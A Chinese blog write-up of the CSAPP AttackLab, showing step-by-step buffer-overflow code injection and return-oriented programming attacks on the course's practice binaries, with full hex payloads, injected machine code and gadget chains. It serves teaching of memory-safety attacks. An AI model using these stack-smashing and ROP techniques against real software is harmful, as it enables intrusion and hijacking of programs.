前言

本篇博客将会介绍 CSAPP 之 AttackLab 的攻击过程,利用缓冲区溢出错误进行代码注入攻击和 ROP 攻击。实验提供了以下几个文件,其中 ctarget 可执行文件用来进行代码注入攻击,rtartget 用来进行 ROP 攻击。

每种攻击都有等级之分,如下表所示。

阶段 程序 等级 攻击方法 函数 分值
1 ctarget 1 CI touch1 10
2 ctarget 2 CI touch2 25
3 ctarget 3 CI touch3 25
4 rtarget 2 ROP touch2 35
5 rtarget 3 ROP touch3 5

代码注入攻击

Level 1

ctarget 中,test 函数内部调用了 getbuf 函数,代码如下所示:

  1. void test() {
  2. int val;
  3. val = getbuf();
  4. printf("No exploit. Getbuf returned 0x%x\n", val);
  5. }

其中 getbuf 函数会分配缓冲区大小,并调用 Gets 函数读取用户输入的字符串:

  1. unsigned getbuf() {
  2. char buf[BUFFER_SIZE];
  3. Gets(buf);
  4. return 1;
  5. }

此处 BUFFER_SIZE 需要从汇编代码中获取。level 1 要求攻击者输入一段足够长的字符串,覆盖 test 栈帧中保存的返回地址,使得从 getbuf 返回之后不是继续执行 test 函数的最后一行,而是从 touch1 的第一行开始执行,touch1 的代码如下所示:

  1. void touch1() {
  2. vlevel = 1; /* Part of validation protocol */
  3. printf("Touch1!: You called touch1()\n");
  4. validate(1);
  5. exit(0);
  6. }

为了确定字符串的长度和内容,需要分析一下 ctarget 的汇编代码,objdump -d ctarget > ctarget.asm 可以将 ctarget 的汇编代码写入文件。其中 torch1 的代码如下所示:

  1. 00000000004017c0 <touch1>:
  2. 4017c0: 48 83 ec 08 sub $0x8,%rsp
  3. 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
  4. 4017cb: 00 00 00
  5. 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
  6. 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
  7. 4017d8: bf 01 00 00 00 mov $0x1,%edi
  8. 4017dd: e8 ab 04 00 00 callq 401c8d <validate>
  9. 4017e2: bf 00 00 00 00 mov $0x0,%edi
  10. 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

由此可知,攻击者需要将返回地址修改为 0x4017c0 才能完成 level 1。而 getbuf 的代码如下所示:

  1. 00000000004017a8 <getbuf>:
  2. 4017a8: 48 83 ec 28 sub $0x28,%rsp
  3. 4017ac: 48 89 e7 mov %rsp,%rdi
  4. 4017af: e8 8c 02 00 00 callq 401a40 <Gets>
  5. 4017b4: b8 01 00 00 00 mov $0x1,%eax
  6. 4017b9: 48 83 c4 28 add $0x28,%rsp
  7. 4017bd: c3 retq
  8. 4017be: 90 nop
  9. 4017bf: 90 nop

可以看到,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。一旦字符串的长度(包括结束符)大于 40,就会覆盖返回地址。字符串的前 40 个字符任意,第 41、42 和 43 个字符的十六进制值必须是 C01740,才能将返回地址修改为 0x4017c0。修改前后的栈如下图所示:

由于 C017 对应的字符打不出来,所以创建一个文件 exploit.txt,在里面写入 40 个 30 (30 之间要有空格隔开)加上 c0 17 40 00,这里加上 00 是必须的(作为结束符),之后使用 hex2rawexploit.txt 中的十六进制数转为字符串并作为 ctarget 的输入,结果如下图所示:

可以看到程序确实跳转到了 touch1 函数,攻击成功( ̄︶ ̄) 。

level 2

level 2 要求跳转到 touch2 函数,且执行 if 分支,touch2 的代码如下所示:

  1. void touch2(unsigned val) {
  2. vlevel = 2; /* Part of validation protocol */
  3. if (val == cookie) {
  4. printf("Touch2!: You called touch2(0x%.8x)\n", val);
  5. validate(2);
  6. } else {
  7. printf("Misfire: You called touch2(0x%.8x)\n", val);
  8. fail(2);
  9. }
  10. exit(0);
  11. }

也就是说需要在跳转到 touch2 之前使用注入的指令,将 %rdi 的值修改为 cookie (本次实验的 cookie0x59b997fa)。要想让输入的指令生效,需要将 getbuf 的返回地址修改为 buf 的起始地址,这样执行 ret 之后会将 M[%rsp] 送到 %rip 中,下次就不会从 Text 区取指令了,而是从 stack 里面取指令(此处就是缓冲区)。原理如下图所示:

上图中的 B 代表缓冲区的起始地址,使用 GDB 可以拿到这个地址为 0x5561dc78

为了实现 %rdi 的修改和 touch2 的跳转,可以使用如下的汇编代码实现(文件命名为 touch2.s),ret 指令可以将 M[%rsp] 的值(此处为 touch2 的地址 0x4017ec)送到 %rip,使得程序回到 Text 区的 touch2 函数处执行:

  1. mov $0x59b997fa, %edi
  2. ret

使用 gcc -c touch2.s 得到目标文件 touch2.o,再用 objdump -d touch2.o > touch2.asm 进行反汇编,得到包含二进制编码的汇编代码:


  1. touch2_.o 文件格式 elf64-x86-64
  2. Disassembly of section .text:
  3. 0000000000000000 <.text>:
  4. 0: bf fa 97 b9 59 mov $0x59b997fa,%edi
  5. 5: c3 retq

有了二进制机器指令之后,就可以得到用于攻击的字符串的十六进制值了,中间的一大串 30 用来占位:

  1. bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
  2. c3 /* ret */
  3. 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
  4. 78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
  5. ec 17 40 00 /* touch2 的起始地址 */

程序的执行效果如下:

发现这里虽然成功设置了 %rdi 的值为 cookie,也跳转到了 touch2,最终却由于 segment fault 而失败。出现这个错误的原因,是因为我们修改了 12 个字节的栈帧的内容:第一次将 8 个字节的返回地址修改为 buf 起始地址,第二次应该是修改了 launch (调用了 test)栈帧中保存的返回地址。为了解决这个问题,我们将汇编指令修改为:

  1. mov $0x59b997fa, %edi
  2. pushq $0x4017ec
  3. ret

使用 pushq 指令将 touch2 的堆栈压入栈中,一样能实现跳转功能。这样就需要把字符串的十六进制值修改为:

  1. bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
  2. 68 ec 17 40 00 /* pushq $0x4017ec */
  3. c3 /* ret */
  4. 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
  5. 78 dc 61 55 00 00 00 00 /* buf 的起始地址 */

程序执行效果如下,这次攻击成功了( ̄︶ ̄) :

Level 3

level 3 要求跳转到 touch3 函数,并且执行 if 分支,代码如下所示:

  1. void touch3(char *sval) {
  2. vlevel = 3; /* Part of validation protocol */
  3. if (hexmatch(cookie, sval)) {
  4. printf("Touch3!: You called touch3(\"%s\")\n", sval);
  5. validate(3);
  6. } else {
  7. printf("Misfire: You called touch3(\"%s\")\n", sval);
  8. fail(3);
  9. }
  10. exit(0);
  11. }
  12. /* Compare string to hex represention of unsigned value */
  13. int hexmatch(unsigned val, char *sval) {
  14. char cbuf[110];
  15. /* Make position of check string unpredictable */
  16. char *s = cbuf + random() % 100;
  17. sprintf(s, "%.8x", val);
  18. return strncmp(sval, s, 9) == 0;
  19. }

可以看到 touch3 会使用 hexmatch 函数进行字符串匹配,此处 cookie0x59b997fasval 是攻击者注入的 cookie 的起始地址。hexmatch 函数将 cookie 从数字转换成了字符串 59b997fa,也就是我们输入的 cookie 就应该是 59b997fa,对应的十六进制为 35 39 62 39 39 37 66 61

由于 touch3 开头就使用了 push %rbx,将 %rbx 的值写入了栈中,接着使用 callq 调用了 hexmatch 函数,这个操作也会把 0x401916 返回地址写入 touch3 的栈帧中。在 hexmatch 的开头,连续使用了三条 push 指令,修改了栈的内容。以上的几个操作会改变 buf 缓冲区的内容,%rsp 的变化过程如下图所示:

为了避免输入的 cookie 被覆盖掉,可以将其放在输入字符串的最后,对应的内存地址为 0x5561dc78 + 48d = 0x5561dca8,其余部分和 level 2 相似,如下所示:

  1. 48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
  2. 68 fa 18 40 00 /* pushq $0x4018fa */
  3. c3 /* retq */
  4. 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
  5. 78 dc 61 55 00 00 00 00 /* buf 起始地址 */
  6. 35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */

攻击效果如下,pass 说明攻击成功了 ヾ(≧▽≦*)o

ROP 攻击

代码注入攻击要求能够确定缓冲区的起始地址和缓冲区中注入的代码能够被执行,如果引入栈随机化技术并限制可执行代码区域为 Text 区,代码注入攻击就不好使了,因为我们注入的代码压根就不会被执行。

虽然我们注入的代码不能被执行,但是 Text 区的代码还是可以被执行的。如果能把这些代码组合在一起,实现我们想要的功能,那么也能实现攻击目的。这时候缓冲区保存的就不是指令了,而是一条条 Text 区可以被执行的指令的地址,同时这些指令有个特点,就是后面会跟着 ret 指令,这样才能根据缓冲区中保存的指令地址接着取指。上述的攻击方式就被称为 ROP 攻击。

Level 2

Level 2 要求使用 ROP 攻击跳转到 touch2 函数并执行 if 分支,并给出了下列要求:

  • 只能使用包含 movqpopqretnop 的 gadget
  • 只能操作 %rax%rdi 这前八个寄存器
  • 只能使用 start_farmmid_farm 区间内的代码来构造 gadget

并且友情提示了只要两条 gadget 就能实现攻击。我们在代码注入攻击 level 2 中注入了 mov $0x59b997fa, %edi 指令来实现 %rdi 的赋值,但是 start_farmmid_farm 区间内的代码没有包含 0x59b997fa 立即数,所以这个立即数应该由攻击者输入,存在栈中。接着我们可以使用下述指令实现 %rdi 的赋值:

  1. popq %rax
  2. movq %rax, %rdi

其中 popq %rax 对应的机器码为 58movq %rax, %rdi 对应的机器码为 48 89 c7。在 start_farm 中搜索包含这个机器码,结果如下图所示。

可以看到 addval_219getval_280 中的 58 后面接的不是 90 (对应 nop 指令)就是 c3(对应 ret 指令),可以用于构造 gadget,地址为 0x4019ab 或者 0x4019cc。而 addval_273setvak_426 中的 48 89 c7 也满足条件,地址为 0x4019a2 或者 0x4019c5

根据上述分析,可以得到字符串的十六进制为:

  1. 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
  2. ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
  3. fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
  4. c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
  5. ec 17 40 00 00 00 00 00 /* touch2 地址 */

栈的内容如下图所示:

攻击效果如下,成功 PASS q(≧▽≦q)

Level 3

Level 3 同样要求使用 ROP 攻击跳转到 touch3 并执行 if 分支,本次传递给 %rdi 的是 cookie 字符串的地址,受到栈随机化的影响,缓冲区的起始地址一直在变化,所以不能将 cookie 字符串的地址直接写入缓冲区。但是 %rsp 里面存储了地址,如果我们给这个地址加上一个偏差量,就能得到 cookie 字符串的地址了。

实现上述想法最直白的汇编代码如下所示:

  1. movq $rsp, %rdi
  2. popq %rsi
  3. callq 0x401d6<add_xy>
  4. movq %rax, %rdi

可惜不是每一条指令的机器码都能在 start_farmend_farm 之间找到并构造出 gadget,所以需要稍微绕点远路,结果如下:

  1. movq %rsp, %rax
  2. movq %rax, %rdi
  3. popq %rax
  4. movl %eax, %edx
  5. movl %edx, %ecx
  6. movl %ecx, %esi
  7. callq 0x4019d6<add_xy>
  8. movq $rsp, %rdi

根据上述汇编代码的机器码地址可以得到输入字符串的十六进制为:

  1. 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
  2. 06 1a 40 00 00 00 00 00 /* addval_190: movq %rsp, %rax */
  3. a2 19 40 00 00 00 00 00 /* addval_273: movq %rax, %rdi */
  4. ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
  5. 48 00 00 00 00 00 00 00 /* 偏移地址 */
  6. dd 19 40 00 00 00 00 00 /* getval_481: movl %eax, %edx */
  7. 69 1a 40 00 00 00 00 00 /* getval_311: movl %edx, %ecx */
  8. 13 1a 40 00 00 00 00 00 /* addval_436: movl %ecx, %six */
  9. d6 19 40 00 00 00 00 00 /* <add_xy> */
  10. c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
  11. fa 18 40 00 00 00 00 00 /* touch3 地址 */
  12. 35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */

最终也通过测试了 []( ̄▽ ̄)*:

总结

通过这次实验,可以加深对缓冲区溢出安全问题的理解,掌握代码注入攻击和 ROP 攻击的原理,同时对 x86-64 指令的编码方式以及取指有了更好的认识,以上~~

CSAPP 之 AttackLab 详解的更多相关文章

  1. CSAPP 之 BombLab 详解

    前言 本篇博客将会展示 CSAPP 之 BombLab 的拆弹过程,粉碎 Dr.Evil 的邪恶阴谋.Dr.Evil 的替身,杀手皇后,总共设置了 6 个炸弹,每个炸弹对应一串字符串,如果字符串错误, ...

  2. CSAPP 之 DataLab 详解

    前言 本篇博客将会剖析 CSAPP - DataLab 各个习题的解题过程,加深对 int.unsigned.float 这几种数据类型的计算机表示方式的理解. DataLab 中包含下表所示的 12 ...

  3. CSAPP 之 CacheLab 详解

    前言 本篇博客将会介绍 CSAPP 之 CacheLab 的解题过程,分为 Part A 和 Part B 两个部分,其中 Part A 要求使用代码模拟一个高速缓存存储器,Part B 要求优化矩阵 ...

  4. CSAPP 之 ShellLab 详解

    前言 本篇博客将会详细介绍 CSAPP 之 ShellLab 的完成过程,实现一个简易(lou)的 shell.tsh 拥有以下功能: 可以执行外部程序 支持四个内建命令,名称和功能为: quit:退 ...

  5. 《TCP/IP 详解 卷1:协议》第 10 章:用户数据报协议

    引言 UDP 稍微扩展了IP协议,使得包可以在进程间传送,而不仅仅是在主机件.--<CSAPP> IP 数据报是指 IP 层端到端的传输单元.分组(packet)是 IP 层和链路层的传输 ...

  6. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  7. 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)

    一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...

  8. EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解

    前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...

  9. Java 字符串格式化详解

    Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...

随机推荐

  1. 学习GlusterFS(六)

    一.GlusterFS概述 分布式文件系统由来 在介绍之前我们先来看下文件系统及典型的NFS文件系统. 计算机通过文件系统管理,存储数据的.而现在数据信息时代中人们可获取数据成指数倍的增长,单纯通过增 ...

  2. char向wchar的转换-MultiByteToWideChar

    问题产生 使用CreateFile函数,如下: CreateFile(lpcTheFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NO ...

  3. 微信小程序 使用filter过滤器几种方式

    由于微信小程序 技术生态比较闭合,导致很多 现代前端框架很多积累出的成果都没有实现(可能未来会逐一实现). 用惯了现代 再耍小程序 总感觉很不顺手. 需要结果的请直接看最后的WXS View Filt ...

  4. 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)

    概述 最近,有客户向我们请求开发一个前端下拉控件,需求是显示了一个列表,其中包含可由用户单独选择的项目控件,该控件将在下拉列表中显示多选TreeView(树形图). 如今WijmoJS已经实现了该控件 ...

  5. PAT B1091 N-自守数

    输入样例: 3 92 5 233   输出样例: 3 25392 1 25 No '解题思路:判断的时候将结果转换成字符串,判断后面几位数字和输入数字是否相同,掉进了N是从1到10的坑,而不是1到9 ...

  6. vue引入echarts

    效果图: 1.安装Echarts :     npm install echarts -S 或者使用国内的淘宝镜像: 安装: npm install -g cnpm --registry=https: ...

  7. vue后台管理系统组件弹窗

    //addFormVisibleIcon可在data中设置true与falsehttps://element.eleme.io/#/zh-CN/component/installation <e ...

  8. css3属性之filter初探

    filter属性是css不常用的一个属性,但是用好了可以给网页增色不少!ps: IE不支持此属性: img { -webkit-filter: grayscale(100%); /* Chrome, ...

  9. Vulnhub 之 Earth

    靶机地址:https://www.vulnhub.com/entry/the-planets-earth,755/ Kali IP:192.168.56.104 下载OVA文件后,直接通过Virtua ...

  10. Ubuntu安装docker(摘自官网,自用)

    在 Ubuntu 上安装 Docker 引擎(按照标红顺序执行命令) 预计阅读时间:11分钟 适用于 Linux 的 Docker 桌面 Docker Desktop 可帮助您在 Mac 和 Wind ...